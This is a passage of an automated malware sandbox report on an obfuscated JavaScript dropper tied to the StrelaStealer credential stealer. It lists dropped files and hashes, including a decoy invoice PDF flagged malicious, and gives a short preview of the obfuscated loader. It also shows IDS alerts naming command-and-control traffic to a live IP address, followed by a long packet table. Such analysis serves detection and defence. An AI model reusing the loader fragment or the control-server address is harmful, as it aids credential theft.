Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d4922697-ba38-49aa-ace1-80a0609c0d8f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10681), with no line terminators
Entropy (8bit):	5.006551797826558
TrID:
File name:	577119676170175151.js
File size:	10'681 bytes
MD5:	6a67fdc321979da402cdc6d7201aecdc
SHA1:	5189b396b98c0f2afd8963c5e804b9fbc0e290c7
SHA256:	7ea19fe49bde243849c5ac053c923804eab7c115dc52c8ba08773a6e5e94323a
SHA512:	4613ae0fa2ca379d06454ce7ea6ea1103a2530d9e6132bd9f8d59c1d93d9cf74aee072080377db20b25412fbb7aa59accf90e7fca56dc5079c955db5a3f68e7c
SSDEEP:	192:wSb7WdpbvUSIlW0OdlWGlW7PQp3G9oOz3ASrmNEitTZNN:Nb7WdpbnIsTdsGs7Pg3GyOz3ASrmNE+p
TLSH:	952272DDF716D2A3DEF0ACFCC45602635FDD9A48E28C53B67A8348285015EE988D44FA
File Content Preview:	function dcovgu(){this[jzusyr+ppbfkw+ejqwwd+huszhclkm]("isobjt=[1031,3079,5127,4103,2055,3072];var zjkaiq=this[hbluzzymf+ejqwwd+kevxyqxw+mxfjmf+jzusyr+ysulyd+nhraiqxt+zzrapah](this[nalrki+loqragse+oygprlav+kevxyqxw+pceetz+hbluzzymf+zzrapah][ghatyabmc+kevx

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T08:47:06.708884+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-14T08:47:06.708884+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-14T08:47:09.243660+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:47:05.901110888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:05.906054974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:05.906245947 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:05.911333084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:05.916280985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.708719969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.708780050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.708817005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.708851099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.708884001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.708887100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.708909988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.708925009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.708961010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.708967924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.709001064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.709048033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.709078074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.709120989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.709120989 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.713957071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.759191036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.763092995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.763138056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.763184071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.763197899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.763228893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.763276100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.833364964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833411932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833450079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833472967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.833484888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833520889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833539009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.833559036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833600998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.833770990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833806992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833842039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833843946 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.833878994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833918095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.833939075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.834656954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.834692955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.834729910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.834764004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.834775925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.834775925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.834800005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.834866047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.835529089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.835565090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.835599899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.835617065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.835633993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.835707903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.849641085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.887291908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.887362957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.887365103 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.887403011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.887440920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.887473106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.919904947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.919938087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.919953108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.958048105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958093882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958129883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958165884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958178043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.958178043 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.958200932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958236933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958273888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958281994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.958312988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.958342075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958399057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958434105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958467960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958475113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.958504915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.958575964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.958990097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.959028006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.959043026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.959063053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.959096909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.959108114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.959132910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.959167957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.959188938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.959203959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.959275007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.959904909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.959939003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.959973097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960007906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960041046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960043907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.960043907 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.960076094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960186958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.960547924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960776091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960825920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.960829973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960865974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960900068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960933924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960954905 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.960968018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.960972071 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.961004972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.961100101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.961803913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.961838007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.961874008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.961908102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.961941957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.961951017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.961951017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.961977005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.962009907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.962063074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:06.973850965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:06.973912001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.012123108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.012170076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.012206078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.012209892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.012248039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.012283087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.012286901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.012320995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.012356997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.012377977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.012393951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.012469053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.044650078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.044701099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.044739962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.044744968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.082118034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082140923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082153082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082165956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082194090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.082194090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.082525969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082597017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082600117 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.082639933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082670927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082775116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.082875967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082912922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.082920074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.082951069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083019972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083079100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.083116055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083152056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083188057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083230019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.083230019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.083669901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083704948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083739996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083774090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083781958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.083808899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.083851099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.084696054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.084784985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.084785938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.084820032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.084855080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.084887028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.084891081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.084928036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.084960938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.085004091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.085004091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.085118055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.085150957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.085185051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.085217953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.085238934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.085253954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.085289001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.085324049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.085329056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.085329056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.086035967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.086087942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.086096048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.086126089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.086159945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.086194992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.086220026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.086224079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.086245060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.086257935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.086359024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.086926937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.087023973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.087054014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.087069035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.087088108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.087120056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.087152004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.087173939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.087178946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.087240934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.089713097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.089744091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.089771032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.089776993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.089808941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.089840889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.089859009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.089870930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.089905024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.089912891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.089936018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.089967966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.089997053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.090012074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.090012074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 14, 2025 08:47:07.090028048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.090059996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 14, 2025 08:47:07.090090036 CET	80	49710	193.143.1.205	192.168.2.6
